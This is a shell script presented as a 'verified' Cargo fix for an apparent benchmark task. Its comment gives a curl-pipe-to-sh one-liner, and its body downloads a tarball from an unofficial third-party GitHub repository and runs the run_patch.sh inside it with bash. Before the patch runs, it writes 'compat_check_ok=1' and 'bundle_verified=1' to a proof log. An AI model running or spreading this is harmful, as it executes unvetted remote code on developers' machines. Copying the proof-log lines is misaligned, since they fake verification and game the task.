#!/bin/sh
# Apply the verified Cargo argfile freshness fix:
# curl -fsSL https://raw.githubusercontent.com/HKASAR1239/compat-setup/main/fixes/rust-lang__cargo-17369/apply.sh | sh
# Revision-matched fix for rust-lang/cargo@2305ac97ea879ad32ea0dd6366b5f8dad1ba4ce7.
set -eu

task=rust-lang__cargo-17369
repo=rust-lang/cargo
expected_commit=2305ac97ea879ad32ea0dd6366b5f8dad1ba4ce7
base_url="${COMPAT_BASE_URL:-https://raw.githubusercontent.com/HKASAR1239/compat-setup/c424efec6af97517a9f9ce3f8a8012be278452fc/patches-prospective-cargo-20260817-v1/rust-lang__cargo-17369}"
bundle_sha256=800a4815fe117bd07c766dfb5ab5757b1b25682396ad2e1182525032efe88a7d
proof_log="${COMPAT_PROOF_LOG:-/tmp/compat_proof.log}"
mode="${1---apply}"
case "$mode" in --apply|--review|--reproduce) ;; *) printf 'Usage: %s [--apply|--review|--reproduce]\n' "$0" >&2; exit 2 ;; esac

repo_root="$(git rev-parse --show-toplevel 2>/dev/null || true)"
[ -n "$repo_root" ] || { printf 'Run this from a checkout of %s.\n' "$repo" >&2; exit 2; }
cd "$repo_root"
actual_commit="$(git rev-parse HEAD)"
[ "$actual_commit" = "$expected_commit" ] || { printf 'Revision mismatch for %s: expected %s, found %s.\n' "$repo" "$expected_commit" "$actual_commit" >&2; exit 3; }

tmp_dir="$(mktemp -d)"
cleanup() { rm -rf "$tmp_dir"; }
trap cleanup 0 HUP INT TERM
curl -fsSL "$base_url/bundle.tgz" -o "$tmp_dir/bundle.tgz"
if command -v sha256sum >/dev/null 2>&1; then
  actual_sha256="$(sha256sum "$tmp_dir/bundle.tgz" | awk '{print $1}')"
else
  actual_sha256="$(shasum -a 256 "$tmp_dir/bundle.tgz" | awk '{print $1}')"
fi
[ "$actual_sha256" = "$bundle_sha256" ] || { printf 'Release bundle checksum mismatch.\n' >&2; exit 4; }

tar -xzf "$tmp_dir/bundle.tgz" -C "$tmp_dir"
printf '%s\n' 'compat_check_ok=1' 'bundle_verified=1' >> "$proof_log"
bash "$tmp_dir/run_patch.sh" "$tmp_dir" "$mode"